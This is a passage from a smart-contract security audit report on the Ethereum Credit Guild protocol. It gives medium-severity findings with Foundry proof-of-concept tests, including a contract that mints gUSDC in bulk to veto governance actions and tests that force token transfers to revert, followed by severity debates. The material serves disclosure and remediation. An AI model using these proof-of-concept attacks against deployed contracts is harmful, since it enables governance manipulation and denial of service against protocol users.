case, it leads to governance attacks. An attacker with a sufficient USDC balance can exploit this by minting an unlimited amount of gUSDC tokens in SimplePSM
using USDC, bypassing the protocol’s safety parameters (1, 2, 3). This allows the attacker to propose or veto certain actions, compromising the governance process.
In the ProfitManager
contract, the notifyPnL()
function burns credit tokens, but the RateLimitedMinter
buffer is never replenished (ProfitManager
doesn’t use rate limiter). On the other hand, the LendingTerm
contract uses the RateLimitedMinter
for minting credit tokens, resulting in the depletion of its buffer over time. This can lead to a shortage of tokens in the RateLimitedMinter
buffer of LendingTerm
contracts at some point.
Proof of Concept
- The
GuildVetoGovernor
contract allows to veto and cancel action in the queue by voting with gUSDC tokens. A quorum of 5 million gUSDC is required. - Alice possesses 6 million USDC tokens. She takes advantage of the fact that the
PSM
contract does not utilize a rate limiter and mints 6 million gUSDC tokens in thePSM
contract. - Alice then utilizes her newly acquired gUSDC tokens to vote in the
GuildVetoGovernor
contract and cancel any action in the queue. - Alice can do minting and voting swiftly. In that case
ProfitManager.creditMultiplier
doesn’t decline. This would allow Alice to redeem her 6 million USDC tokens back without any consequences.
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.13;
import {Test} from "@forge-std/Test.sol";
import {Core} from "@src/core/Core.sol";
import {CoreRoles} from "@src/core/CoreRoles.sol";
import {MockERC20} from "@test/mock/MockERC20.sol";
import {SimplePSM} from "@src/loan/SimplePSM.sol";
import {GuildToken} from "@src/tokens/GuildToken.sol";
import {CreditToken} from "@src/tokens/CreditToken.sol";
import {ProfitManager} from "@src/governance/ProfitManager.sol";
import {ProfitManager} from "@src/governance/ProfitManager.sol";
import {MockLendingTerm} from "@test/mock/MockLendingTerm.sol";
import {IGovernor} from "@openzeppelin/contracts/governance/IGovernor.sol";
import {GuildVetoGovernor} from "@src/governance/GuildVetoGovernor.sol";
import {GuildTimelockController} from "@src/governance/GuildTimelockController.sol";
import "@forge-std/console.sol";
contract Poc4 is Test {
Core private core;
ProfitManager private profitManager;
CreditToken credit;
GuildToken guild;
MockERC20 private pegToken;
SimplePSM private psm;
uint256 private constant _TIMELOCK_MIN_DELAY = 12345;
GuildTimelockController private timelock;
GuildVetoGovernor private vetoGovernor;
uint256 __lastCallValue = 0;
// From deployment script!
uint256 private constant _VETO_QUORUM = 5_000_000e18;
function setUp() public {
vm.warp(1679067867);
vm.roll(16848497);
core = new Core();
profitManager = new ProfitManager(address(core));
credit = new CreditToken(address(core), "gUSDC", "gUSDC");
guild = new GuildToken(address(core), address(profitManager));
pegToken = new MockERC20(); // USDC
pegToken.setDecimals(6);
psm = new SimplePSM(
address(core),
address(profitManager),
address(credit),
address(pegToken)
);
timelock = new GuildTimelockController(
address(core),
_TIMELOCK_MIN_DELAY
);
// VetoGovernor for gUSDC
vetoGovernor = new GuildVetoGovernor(
address(core),
address(timelock),
address(credit),
_VETO_QUORUM // 5Mil gUSDC
);
core.grantRole(CoreRoles.CREDIT_MINTER, address(this));
core.grantRole(CoreRoles.CREDIT_MINTER, address(psm));
core.grantRole(CoreRoles.CREDIT_GOVERNANCE_PARAMETERS, address(this));
core.createRole(CoreRoles.TIMELOCK_EXECUTOR, CoreRoles.GOVERNOR);
core.grantRole(CoreRoles.TIMELOCK_EXECUTOR, address(0));
core.createRole(CoreRoles.TIMELOCK_CANCELLER, CoreRoles.GOVERNOR);
core.grantRole(CoreRoles.TIMELOCK_CANCELLER, address(vetoGovernor));
core.createRole(CoreRoles.TIMELOCK_PROPOSER, CoreRoles.GOVERNOR);
core.grantRole(CoreRoles.TIMELOCK_PROPOSER, address(this));
core.renounceRole(CoreRoles.GOVERNOR, address(this));
credit.setMaxDelegates(1);
}
function __dummyCall(uint256 val) external {
__lastCallValue = val;
}
function _queueDummyTimelockAction(
uint256 number
) internal returns (bytes32) {
address[] memory targets = new address[](1);
targets[0] = address(this);
uint256[] memory values = new uint256[](1);
bytes[] memory payloads = new bytes[](1);
payloads[0] = abi.encodeWithSelector(
Poc4.__dummyCall.selector,
number
);
bytes32 predecessor = bytes32(0);
bytes32 salt = keccak256(bytes("dummy call"));
timelock.scheduleBatch(
targets,
values,
payloads,
predecessor,
salt,
_TIMELOCK_MIN_DELAY
);
bytes32 timelockId = timelock.hashOperationBatch(
targets,
values,
payloads,
0,
salt
);
return timelockId;
}
function test_poc() public {
address Alice = address(100);
// Schedule an action in the timelock, Alice will veto it.
bytes32 timelockId = _queueDummyTimelockAction(12345);
// Afluent Alice has 6Mil of USDC and mints gUSDC in PSM
// PSM isn't rate-limited (there is no cap)!
pegToken.mint(Alice, 6_000_000e6);
vm.startPrank(Alice);
pegToken.approve(address(psm), 6_000_000e6);
psm.mint(Alice, 6_000_000e6);
// Alice has enough voting power!
require(credit.balanceOf(Alice) > vetoGovernor.quorum(0));
credit.delegate(Alice);
// Alice creates a Veto proposal
uint256 proposalId = vetoGovernor.createVeto(timelockId);
vm.roll(block.number + 1);
vm.warp(block.timestamp + 10);
// Alice cast a vote against
vetoGovernor.castVote(proposalId, uint8(GuildVetoGovernor.VoteType.Against));
vm.roll(block.number + 1);
vm.warp(block.timestamp + 10);
(
uint256 againstVotes,
uint256 forVotes,
uint256 abstainVotes
) = vetoGovernor.proposalVotes(
proposalId
);
// There is a Quorum, Alice can execute Veto proposal
require(againstVotes > vetoGovernor.quorum(0));
vetoGovernor.executeVeto(timelockId);
vm.stopPrank();
}
}
Put the Poc inside the test/unit/governance/Poc4.t.sol
file and run it with the following command:
forge test --mp test/unit/governance/Poc4.t.sol --mt test_poc
Recommended Mitigation Steps
Use rate limiter across all contracts in the protocol when minting or burning Credit and Guild tokens.
Assessed type
Governance
eswak (Ethereum Credit Guild) acknowledged, but disagreed with severity and commented:
SimplePSM
imports but never usesRateLimitedMinter
.Thanks for pointing out this unused import, it has been removed. To give context: we removed the use of rate limits in the PSM, because it opened a griefing vector for borrowers : before a term goes into liquidations, borrowers could borrow and deplete the buffer, preventing new PSM mints. Then nobody could mint fresh gUSDC in the PSM to bid in the auctions, and auctions could be forced into reporting bad debt (due to no one being able to hold gUSDC and bid).
The
RateLimitedMinter
’shardCap
only applies to borrows, so indeed there could be$10M
of borrows in the system but$20M
deposited by lenders in the PSM (leading to a 2x lower APR for depositors than what is paid by lenders), but that is the intended behavior and what allows the protocol to grow (redeemable tokens in the PSM is what invites new borrowers).USDC depositors in the PSM can only veto new changes in a given market, they can not propose new changes or prevent a safe wind down of the market.
The
ProfitManager
does not replenish the buffer and that may be a low/QA finding, I’m not sure that needs a fix as this is only relating to the surplus buffer (that is expected to be small relative to the supply cap, because it is a percent of the percent of interest paid over time by the borrowed supply, and the buffer replenish speed is not expected to stay0
for a long time on the credit token).The finding states that Alice can mint in the PSM and participate in the veto process, then redeem swiftly before
creditMultiplier
goes down, but she essentially becomes a lender in the meantime and her USDC can be redeemed against by borrowers, and she could end up ‘stuck’ with her gUSDC. Perhaps the fact that the veto process is fast (Alice could be holding gUSDC for as low as 2 blocks) is a problem and the commitment is not enough and some kind of lock up should be added. I’ll mention my colleague @OneTrueKirk so he can weigh in on that.In any case, I am disagreeing with the severity (no user funds are at risk when someone decides to veto all changes on a given market).
OneTrueKirk (Ethereum Credit Guild) commented:
I agree with Erwan’s assessment that the issue should be marked as medium rather than high, since no user funds can be stolen and only updates can be halted with a lower capital cost than intended by the quorum threshold. Lockup appears to be an effective mitigation.
TrungOre (judge) decreased severity to Medium
@TrungOre - Even if such a user manages to execute such an attack and onboard a malicious term, it can be resolved for a short amount of time by executing offboard proposal and restricting users from borrowing from this term.
Sponsors mentioned that the funds cannot be redeemed because users will borrow part of them if the term has favorable conditions.
Can you please recheck?
@Blckhv - Regarding sponsor’s statement, only the part about malicious voting action is accepted as med severity.
Note: For full discussion, see here.
[M-22] LendingTerm
inconsistency between debt ceiling as calculated in borrow()
and debtCeiling()
Submitted by Byteblockers, also found by kaden
There is an inconsistency in the calculation of the debtCeiling
between the borrow()
function and the debtCeiling()
function. This not only leads to operational discrepancies, but also impacts liquidity utilization. Specifically, the more restrictive debtCeiling
in the borrow()
function results in underutilized liquidity, which in turn could lead to missed profit opportunities for lenders.
Proof of Concept
There is an inconsistency in the way borrow()
calculates a much smaller value for debtCeiling
than the actual debtCeiling()
function. This renders this check useless, since borrow prevents issuance from going even close to the actual debt ceiling.
uint256 debtCeilingAfterDecrement = LendingTerm(gauge).debtCeiling(-int256(weight));
require(issuance <= debtCeilingAfterDecrement, "GuildToken: debt ceiling used");
Let’s take the parameters below to illustrate the issue and follow along the two calculations:
Parameter | Value |
---|---|
Issuance | 20,000 |
Total Borrowed Credit | 70,000 (5k when we call borrow + 65k old loans) |
Total Weight | 100,000 |
Gauge Weight | 50,000 |
Gauge Weight Tolerance | 60% (1.2e18) |
1. borrow()
function’s calculation method:
This function calculates the debtCeiling
using a simpler formula:
Note: For the provided formula, please see the original submission contents here.
- Applying the provided parameters (Gauge Weight: 50,000, Total Borrowed Credit: 70,000, Total Weight: 100,000, and Weight Tolerance: 1.2), the resulting
debtCeiling
is 42,000.
2. debtCeiling()
function’s calculation method:
The formula used here is more complex so we will it break it down below:
Note: For the provided formula, please see the original submission contents here.
This method involves several intermediate steps to arrive at the debtCeiling
. The process includes:
- Calculating the tolerated gauge weight.
- Determining the initial debt ceiling before any new borrowings.
- Computing the remaining debt ceiling after factoring in current issuance.
- Establishing the weight of other gauges.
- Determining the maximum borrowable amount.
- Adding the current issuance to the maximum borrow to get the final
debtCeiling
.
Note: For the provided formula, please see the original submission contents here.
Note: For the provided formula, please see the original submission contents here.
Note: For the provided formula, please see the original submission contents here.
Note: For the provided formula, please see the original submission contents here.
Note: For the provided formula, please see the original submission contents here.
Note: For the provided formula, please see the original submission contents here.
With the same parameters, this method results in a debtCeiling
of 75,000.
The lower debtCeiling
set by the borrow()
function (42,000) significantly restricts the amount that can be borrowed compared to what is actually permissible as per the debtCeiling()
function (75,000).
This discrepancy leads to a situation where a portion of the liquidity remains unused. In a lending scenario, unused liquidity equates to lost income opportunities for lenders, as these funds are not being loaned out and thus not generating interest.
Recommended Mitigation Steps
Unify the debtCeiling
calculation method which is used across the protocol.
Assessed type
Error
eswak (Ethereum Credit Guild) confirmed
[M-23] Rounding errors can cause ERC20RebaseDistributor transfers and mints to fail for underflow
Submitted by 3docSec, also found by ether_sky
Lines of code
Vulnerability details
When calculating share changes during ERC20RebaseDistributor token transfers, the logic computes the share delta as follows:
File: ERC20RebaseDistributor.sol
553: function transfer(
554: address to,
555: uint256 amount
556: ) public virtual override returns (bool) {
---
603: if (rebasingStateTo.isRebasing == 1) {
---
618: uint256 sharesReceived = toSharesAfter - rebasingStateTo.nShares;
It is possible that due to rounding, rebasingStateTo.nShares
is higher than toSharesAfter
by 1 wei
, causing the transfer to fail.
A similar issue can happen when unminted rewards are taken off the rebase pool:
File: ERC20RebaseDistributor.sol
228: function decreaseUnmintedRebaseRewards(uint256 amount) internal {
229: InterpolatedValue memory val = __unmintedRebaseRewards;
230: uint256 _unmintedRebaseRewards = interpolatedValue(val);
231: __unmintedRebaseRewards = InterpolatedValue({
232: lastTimestamp: SafeCastLib.safeCastTo32(block.timestamp), // now
233: lastValue: SafeCastLib.safeCastTo224(
234: _unmintedRebaseRewards - amount
235: ), // adjusted current
236: targetTimestamp: val.targetTimestamp, // unchanged
237: targetValue: val.targetValue - SafeCastLib.safeCastTo224(amount) // adjusted target
238: });
239: }
Here it is possible that the amount
is higher than _unmintedRebaseRewards
, introducing also in this place a revert condition.
Impact
Transfers and mints from or towards addresses that are rebasing may fail in real-world scenarios. This failure can be used as a means to DoS sensitive operations like liquidations. Addresses who enter this scenario aren’t also able to exit rebase to fix their transfers.
Proof of Concept
Below a foundry PoC (full setup here) which shows a scenario where a transfer (or mint) to a rebasing user can fail by underflow on the _unmintedRebaseRewards - amount
operation:
function testM2bis() external {
uint t0 = block.timestamp;
// set up the credit token with the minimum 100e18 rebasing supply
// as indicated here ->
ct.mint(address(1), 100e18);
vm.prank(address(1));
ct.enterRebase();
ct.mint(address(2), 6e11); vm.prank(address(2)); ct.distribute(6e11);
vm.warp(2);
ct.mint(address(2), 3e12); vm.prank(address(2)); ct.distribute(3e12);
vm.warp(3);
ct.mint(address(3), 1e20);
vm.prank(address(3));
// ☢️ this shouldn't revert!
vm.expectRevert();
ct.transfer(address(1), 1e20);
// ☢️ this shouldn't either!
vm.expectRevert();
ct.mint(address(1), 1e20);
// ☢️ this too..
vm.prank(address(1));
vm.expectRevert();
ct.exitRebase();
// ☢️ same here...
vm.startPrank(address(1));
vm.expectRevert();
ct.transfer(address(3), 1e20);
// ☢️ I bet you saw this coming...
ct.approve(address(3), 1e20);
vm.startPrank(address(3));
vm.expectRevert();
ct.transferFrom(address(1), address(3), 1e20);
}
This is with a lower impact because involving a zero-value transfer, the following PoC in Foundry (the full runnable test can be found here) shows a transfer failing on the toSharesAfter - rebasingStateTo.nShares
operation:
function testM2() external {
address from = address(uint160(1));
address to = address(uint160(2));
ct.mint(to, 100 ether);
vm.startPrank(to);
ct.enterRebase();
ct.distribute(1 ether);
vm.warp(block.timestamp + 1);
vm.startPrank(from);
vm.expectRevert();
ct.transfer(to, 0);
vm.expectRevert();
ct.transferFrom(from, to, 0);
}
Tools Used
Foundry
Recommended Mitigation Steps
Consider adapting shares calculations to tolerate rounding fluctuations, i.e. by flooring to 0
the mentioned subtractions.
Assessed type
Token-Transfer
eswak (Ethereum Credit Guild) confirmed
After carefully reviewing the report and discussing it with other auditors, I believe that the severity of this issue should be reassessed.
The problem is that division rounds down and more divisions result in greater precision loss. Specifically, in this report, the calculation of
toSharesAfter
involves three divisions, which results in underflow during the subsequent subtraction. It is important to note that the underflow issue in the provided POC above is temporary and only lasts for 31 seconds. After this time, thetransfer()
andmint()
functions will work as expected.Proof of Concept
The variable
toSharesAfter
is determined by this formula:uint256 toSharesAfter = _balance2shares(toBalanceAfter, _rebasingSharePrice); function _balance2shares( uint256 balance, uint256 sharePrice ) internal pure returns (uint256) { return (balance * START_REBASING_SHARE_PRICE) / sharePrice; }
The
toBalanceAfter
variable is determined by this formula:uint256 rawToBalanceAfter = ERC20.balanceOf(to); uint256 toBalanceAfter = _shares2balance( rebasingStateTo.nShares, _rebasingSharePrice, amount, rawToBalanceAfter );
The
toBalanceAfter
variable depends on_rebasingSharePrice
, which means thattoSharesAfter
also heavily relies on it.It is important to note that the
_rebasingSharePrice
variable is not a constant and it is increased linearly.uint256 _rebasingSharePrice = (rebasingStateFrom.isRebasing == 1 || rebasingStateTo.isRebasing == 1) ? rebasingSharePrice() : 0; // only SLOAD if at least one address is rebasing function rebasingSharePrice() public view returns (uint256) { return interpolatedValue(__rebasingSharePrice); } function interpolatedValue( InterpolatedValue memory val ) internal view returns (uint256) { // load state uint256 lastTimestamp = uint256(val.lastTimestamp); // safe upcast uint256 lastValue = uint256(val.lastValue); // safe upcast uint256 targetTimestamp = uint256(val.targetTimestamp); // safe upcast uint256 targetValue = uint256(val.targetValue); // safe upcast // interpolate increase over period if (block.timestamp >= targetTimestamp) { // if period is passed, return target value return targetValue; } else { // block.timestamp is within [lastTimestamp, targetTimestamp[ uint256 elapsed = block.timestamp - lastTimestamp; uint256 delta = targetValue - lastValue; return lastValue + (delta * elapsed) / (targetTimestamp - lastTimestamp);//note linear unlock } }
Next, we determine the amount of time needed for the rounding error to disappear. The result is 31 seconds.
Please add the following test to the
CreditToken.t.sol
file and run it using the commandforge test --mc CreditTokenUnitTest --mt test_issue294
.function test_issue294() public { // create/grant role vm.startPrank(governor); core.createRole(CoreRoles.CREDIT_MINTER, CoreRoles.GOVERNOR); core.grantRole(CoreRoles.CREDIT_MINTER, address(this)); core.grantRole(CoreRoles.CREDIT_REBASE_PARAMETERS, address(this)); vm.stopPrank(); token.mint(address(1), 100e18); vm.prank(address(1)); token.enterRebase(); token.mint(address(2), 6e11); vm.prank(address(2)); token.distribute(6e11); vm.warp(block.timestamp + 2 seconds); token.mint(address(2), 3e12); vm.prank(address(2)); token.distribute(3e12); vm.warp(block.timestamp + 31 seconds); //note wait for 31 seconds token.mint(address(3), 1e20); vm.startPrank(address(3)); // this works // vm.expectRevert(); token.transfer(address(1), 1e20); vm.stopPrank(); // this works // vm.expectRevert(); token.mint(address(1), 1e20); // this works vm.startPrank(address(1)); // vm.expectRevert(); token.exitRebase(); vm.stopPrank(); // this works vm.startPrank(address(1)); // vm.expectRevert(); token.transfer(address(3), 1e20); // this works token.approve(address(3), 1e20); vm.startPrank(address(3)); // vm.expectRevert(); token.transferFrom(address(1), address(3), 1e20); vm.stopPrank(); }
@Soul22 - while the attack in the PoC is temporary, new small-amount distributions (which are permissionless) with appropriate timing and amounts can be made to make the DoS last longer.
Upon further investigation, I found that if we remove the
vm.warp(block.timestamp + 2 seconds);
statement, then the underflow disappears immediately.function test_issue294_removeVmWarp() public { // create/grant role vm.startPrank(governor); core.createRole(CoreRoles.CREDIT_MINTER, CoreRoles.GOVERNOR); core.grantRole(CoreRoles.CREDIT_MINTER, address(this)); core.grantRole(CoreRoles.CREDIT_REBASE_PARAMETERS, address(this)); vm.stopPrank(); token.mint(address(1), 100e18); vm.prank(address(1)); token.enterRebase(); token.mint(address(2), 6e11); vm.prank(address(2)); token.distribute(6e11); // vm.warp(block.timestamp + 2 seconds); token.mint(address(2), 3e12); vm.prank(address(2)); token.distribute(3e12); // vm.warp(block.timestamp + 31 seconds); //note no need to wait anymore token.mint(address(3), 1e20); vm.startPrank(address(3)); // this works // vm.expectRevert(); token.transfer(address(1), 1e20); vm.stopPrank(); // this works // vm.expectRevert(); token.mint(address(1), 1e20); // this works vm.startPrank(address(1)); // vm.expectRevert(); token.exitRebase(); vm.stopPrank(); // this works vm.startPrank(address(1)); // vm.expectRevert(); token.transfer(address(3), 1e20); // this works token.approve(address(3), 1e20); vm.startPrank(address(3)); // vm.expectRevert(); token.transferFrom(address(1), address(3), 1e20); vm.stopPrank(); }
Although the likelihood is low, the impact of this issue is significant since it can brick Credit token’s minting and transferring, potentially preventing users from unstaking from
SurplusGuildMinter
in certain cases. The duration of the Denial of Service (DoS) attack is temporary, but users may not be able to unstake promptly to avoid being slashed inSurplusGuildMinter
. Therefore, medium severity is appropriate.
[M-24] ProfitManager’s creditMultiplier
calculation does not count undistributed rewards; this can cause value losses to users
Submitted by 3docSec, also found by aslanbek, rvierdiiev, btk, and ether_sky
The function notifyPnL
in ProfitManager is called by LendingTerms
when a loan is closed to report a profit or loss.
In case there is a loss, the amount in excess of the protocol’s buffer is attributed to the credit token holders. This is done by slashing the creditMultiplier
with the effect of depreciating the credit token relatively to the collateral.
The math for slashing the creditMultiplier
is the following:
File: ProfitManager.sol
292: function notifyPnL(
293: address gauge,
294: int256 amount
295: ) external onlyCoreRole(CoreRoles.GAUGE_PNL_NOTIFIER) {
---
330: // update the CREDIT multiplier
331: uint256 creditTotalSupply = CreditToken(_credit).totalSupply();
332: uint256 newCreditMultiplier = (creditMultiplier *
333: (creditTotalSupply - loss)) / creditTotalSupply;
334: creditMultiplier = newCreditMultiplier;
It is particularly interesting that totalSupply()
is used, since in a similar high-level accounting calculation, totalBorrowedCredit()
, targetTotalSupply()
is used instead:
File: ProfitManager.sol
172: function totalBorrowedCredit() external view returns (uint256) {
173: return
174: CreditToken(credit).targetTotalSupply() -
175: SimplePSM(psm).redeemableCredit();
176: }
The usage of totalSupply()
here can be problematic when a significant portion of the supply is in undistributed rewards. In this case, the creditMultiplier
slashing will be higher than it should because totalSupply()
will return a much lower value than targetTotalSupply()
.
Impact
creditMultiplier
slashing will always be higher than it should for correct accounting, penalizing credit token holders, and finally locking value in the protocol. The negative effects will be proportional to the relative supply of credit tokens in undistributed rewards versus the interpolated supply of the credit token.
Proof of Concept
The following PoC in Foundry (full setup here) shows how an overshot creditMultiplier
slashing locks collateral value in SimplePSM
, with a net loss for protocol users, in a real-wold scenario:
function testH2() external {
uint ts = block.timestamp;
// Set ProfitManager to 100% rewards for rebasing users
pm.setProfitSharingConfig(
0, // surplusBufferSplit,
1e18, // creditSplit,
0, // guildSplit,
0, // otherSplit,
address(0) // otherRecipient
);
// User 1 deposit 3000 USDC in PSM, gets 3000 gUSDC, enters rebase
address user1 = address(1);
vm.startPrank(user1);
coll.mint(user1, 3_000e18);
coll.approve(address(sPsm), 3_000e18);
sPsm.mintAndEnterRebase(3_000e18);
// User 2 open Loan A, 1000 gUSDC, redeems for 1000 USDC
address user2 = address(2);
vm.startPrank(user2);
coll.mint(user2, 1_000e18);
coll.approve(address(lt), 1_000e18);
bytes32 loanA = lt.borrow(1_000e18, 1_000e18);
ct.approve(address(sPsm), 1_000e18);
sPsm.redeem(user2, 1_000e18);
// User 3 open Loan B, 1000 gUSDC, redeems for 1000 USDC
address user3 = address(3);
vm.startPrank(user3);
coll.mint(user3, 1_000e18);
coll.approve(address(lt), 1_000e18);
bytes32 loanB = lt.borrow(1_000e18, 1_000e18);
ct.approve(address(sPsm), 1_000e18);
sPsm.redeem(user3, 1_000e18);
// User 4 open Loan C, 1000 gUSDC, redeems for 1000 USDC
address user4 = address(4);
vm.startPrank(user4);
coll.mint(user4, 1_000e18);
coll.approve(address(lt), 1_000e18);
bytes32 loanC = lt.borrow(1_000e18, 1_000e18);
ct.approve(address(sPsm), 1_000e18);
sPsm.redeem(user4, 1_000e18);
// Time passes, all loans accrue 50% interest, loan B gets called
ts += lt.YEAR() - 3 weeks;
vm.warp(ts);
lt.call(loanB);
ts += 3 weeks;
vm.warp(ts);
// User 2 deposit 1500 USDC in PSM, gets 1500 gUSDC, and repay Loan A (500 profit) -> 1500 USDC in PSM
vm.startPrank(user2);
coll.mint(user2, 500e18);
coll.approve(address(sPsm), 1500e18);
sPsm.mint(user2, 1500e18);
ct.approve(address(lt), 1500e18);
lt.repay(loanA);
// Now User 1's 3000 gUSDC balance is interpolating towards 3500 gUSDC
assertEq(3_000e18, ct.totalSupply());
assertEq(ct.totalSupply(), ct.balanceOf(user1));
assertEq(3_500e18, ct.targetTotalSupply());
// --- Everything good till here; now we get to the bug:
// User 3 completely defaults on Loan B, 1000 gUSDC loss is reported,
// creditMultiplier becomes 1e18 * (3000 - 1000) / 3000 = 0.6667e18
// 🚨 if targetTotalSupply was used, this would be 1e18 * (3500 - 1000) / 3500 = 0.714285e18
ah.forgive(loanB);
assertApproxEqRel(pm.creditMultiplier(), 0.6667e18, 0.0001e18 /* 0.01% */);
// User 4's Loan C now owes 1500 / 0.66667 = 2250 gUSDC
uint loanCdebt = lt.getLoanDebt(loanC);
assertApproxEqRel(loanCdebt, 2250e18, 0.0001e18 /* 0.01% */);
// User 4 deposit 1500 USDC in PSM, gets 2250 gUSDC, and repay Loan C (750 profit) -> 3000 USDC in PSM
vm.startPrank(user4);
coll.mint(user4, 500e18);
coll.approve(address(sPsm), 1500e18);
sPsm.mint(user4, 1500e18);
ct.approve(address(lt), loanCdebt);
lt.repay(loanC);
// Now User 1's 3000 gUSDC balance is interpolating towards 4250
assertEq(3_000e18, ct.totalSupply());
assertEq(ct.totalSupply(), ct.balanceOf(user1));
assertApproxEqRel(4_250e18, ct.targetTotalSupply(), 0.0001e18 /* 0.01% */);
// User 1 waits for the interpolation to end
ts += ct.DISTRIBUTION_PERIOD();
vm.warp(ts);
// User 1 redeems 4250 gUSDC for 4250 * 0.66667 = 2833 USDC -> 167 USDC in PSM (🚨 there should be no leftover)
vm.startPrank(user1);
ct.approve(address(sPsm), ct.balanceOf(user1));
sPsm.redeem(user1, ct.balanceOf(user1));
assertApproxEqRel(2833.3e18, coll.balanceOf(user1), 0.0001e18 /* 0.01% */);
// 🚨 this value remains locked in the SimplePSM contract as a result of the incorrect accounting
assertApproxEqRel(166.66e18, coll.balanceOf(address(sPsm)), 0.0001e18 /* 0.01% */);
// ℹ️ if ProfitManager used targetTotalSupply, the value locked would be ~2e4 lost to rounding
}
Tools Used
Foundry
Recommended Mitigation Steps
Consider using targetTotalSupply()
instead of totalSupply()
in the creditMultiplier
slashing calculation:
// ProfitManager:330
// update the CREDIT multiplier
- uint256 creditTotalSupply = CreditToken(_credit).totalSupply();
+ uint256 creditTotalSupply = CreditToken(_credit).targetTotalSupply();
uint256 newCreditMultiplier = (creditMultiplier *
(creditTotalSupply - loss)) / creditTotalSupply;
creditMultiplier = newCreditMultiplier;
emit CreditMultiplierUpdate(
block.timestamp,
newCreditMultiplier
);
Assessed type
Math
eswak (Ethereum Credit Guild) confirmed, but disagreed with severity and commented:
Confirming this issue, and thanks a lot for the quality of the report!
I wonder if this should be qualified as “Medium”, as duplicates of this issue are qualified as Medium. Even though the protocol could end up with funds left in the PSM, all users are treated the same way, and there is always the possibility to recover the funds and organize and airdrop / multisend.
TrungOre (judge) decreased severity to Medium
@TrungOre - I believe that this issue should be a high because the
creditMultiplier
directly influences the value of CREDIT in the system. Using the incorrect method will lead to an inaccurate representation of the CREDIT value. Note thatcreditMultiplier
can only decrease, and due to the current logical error, it’s diminishing too quickly, resulting in direct losses for borrowers and holders.
I agree with @btk - this issue should be a high.
@eswak - Could you take a second look at this? Doesn’t the
CreditToken.totalSupply()
return the total number of the tokens in existence? If a slashing event occurs, why would thecreditMultiplier
need to consider the future rewards (__unmintedRebaseRewards.targetValue
)? Aren’t those tokens locked until a date in the future? Why would the slashing consider those future rewards in the present?Suppose a slashing occurs on day 2 of the reward’s distribution, why would the rewards from day 3 to day 30 need to be considered as part of the existing supply? Is it not the purpose of the distribution of rewards to lock rewards and as time passes, slowly unlock them to be part of the existing supply?
I think the value of the
creditMultiplier
is correctly calculated by using the amount of existing supply at the moment when the slashing event occurs. I reiterate again, why is a supply that is meant to be unlocked in the future would need to be considered in the present?I just want to emphasize, the
unmintedRewards
are indeed considered when reading fromCreditToken.totalSupply()
. Understanding thatunmintedRewards
are those rewards that have been unlocked based on the total time that has passed since they have been added to the distribution period. On the other hand, the future unminted rewards (__unmintedRebaseRewards.targetValue
) are the ones that I believe should not be considered part of the supply in the present, because those rewards are yet to be slowly added to the supply in the future, not in the present.
I’ve taken a second look at the report and the problem seems to be a legit issue, if the undistributed rewards are not included as part of the existing supply at the moment of the slashing, that would bring down the
creditMultiplier
more than what it should. If all the undistributed rewards are included, this would cause that the PSM module has more PeggedTokens than what they could be claimed for using the totalCreditTokens
in existence.As for the severity, I think @eswak has a point in his comment (severity should be medium). All the funds that would’ve been left in the PSM could’ve been recovered and distributed to the users so they ended up equal as if the
creditMultiplier
would’ve been updated considering all the supply. The users would not lose their assets permanently, right? It would be a temporary loss while the extra funds are correctly distributed. It may take some extra work, but in the end, all users could get the exact amount of PeggedTokens they could’ve claimed if thecreditMultiplier
had been updated correctly. No PeggedTokens would be lost in reality and there would only be more PeggedTokens in the PSM module than the total PeggedTokens that could be claimed for. Thus, the extra tokens can be claimed by governance and distributed accordingly, making whole to all the users.TL:DR; no funds are lost, the extra tokens are left in the PSM module, and they can be claimed by governance and distributed accordingly.
Plus, all new minting and borrowing, and basically everything, from that point onwards will use the new value of the
creditMultiplier
, even though it was brought down more than what it should. All the accounting from that point and beyond it will use the new value of thecreditMultiplier
.
@0xStalin - the point of the credit multiplier update, and the goal of the math behind it, is to depreciate the synthetic versus the underlying so that:
- All synthetics are redeemable (solvency).
- When all synthetics are redeemed, the protocol does not hold value locked (correctness to users).
This report proves how the second point is not respected, so value can remain locked in the protocol at the user’s expense. This should be clear in the PoC but you are very right that I should have point it out in the report.
@TrungOre - A few wardens suggested this finding could be high and I tend to agree with that because the remediation of a governance action suggested by the sponsor may in practice not always be feasible in terms of:
- Time to figure out a potentially large number of affected users and the exact extent of the loss for each of them.
- Preparing and having governance token holders review and vote a large proposal that includes an emergency action for each and every one of the affected users.
- The cost in terms of gas of executing such proposal and the “always lost” choice of whether refunding users whose loss is lower than the cost of gas to refund them.
@3docSec - For the points that you’ve just mentioned is exactly why this fits as a medium severity. Yes, it may take some extra work to governance for preparing the distribution of the extra PeggedTokens left in the PSM module. As for the second point, how much gas does it take to make an ERC20 transfer? Include it inside a batch of transfers, and how much would it cost to make full the user? Unless the user’s difference was less than 1-2 usd then it might be more expensive to credit the difference, but even though, that is doable, that’s the reason why this is fine as a medium severity. For a report to be classified as a high severity, there should be a permanent loss of funds, a way that it is impossible to recover them.
@0xStalin, not all borrowers will redeem their credit in the PSM. Those holding credit during a loss will incur more losses than they should. Any thoughts on how governance can refund them?
@btk - Those incurred losses for the holders are exactly what it should be distributed by governance. As for the question of how could governance refund them, The SimplePSM contract inherits from the CoreRef contract, the CoreRef has the
emergencyAction()
, governance can simply craft a calldata to transfer the extra PeggedTokens that needs to be distributed to the holders who were impacted by thecreditMultiplier
going down more than what it should. So, governance transfers those PeggedTokens to an account of their own, they collect the information of how many PeggedTokens need to be sent to who to cover the difference and then they do those transfers in batch. That’s it, governance recovered the extra tokens and distributed them.That is because I consider this issue not to be a high severity. The tokens are not lost and they are not stuck forever in the PSM.
I consider this issue as medium because it doesn’t cause a direct loss to the protocol or users. As the sponsor stated, the protocol could end up with funds left in the PSM, but all users are treated the same way, and Governor can still recover the funds by
emergencyActions
.
[M-25] SurplusGuildMinter.getReward()
is susceptible to DoS due to unbounded loop
Submitted by critical-or-high, also found by Chinmay, Akali, serial-coder, 0xadrii, 0xpiken, and Tendency
The SurplusGuildMinter.getReward()
function invokes ProfitManager.claimRewards()
that in a loop claims reward through all gauges/terms for SurplusGuildMinter
as follows.
function claimRewards(
address user
) external returns (uint256 creditEarned) {
address[] memory gauges = GuildToken(guild).userGauges(user);
for (uint256 i = 0; i < gauges.length; ) {
creditEarned += claimGaugeRewards(user, gauges[i]);
unchecked {
++i;
}
}
}
Whereas SurplusGuildMinter
works with all gauges, and there is no upper limit for the GuildToken.setMaxGauges(max)
, the length of loop could be unbounded.
Each call to stake()
, unstake()
, or getReward()
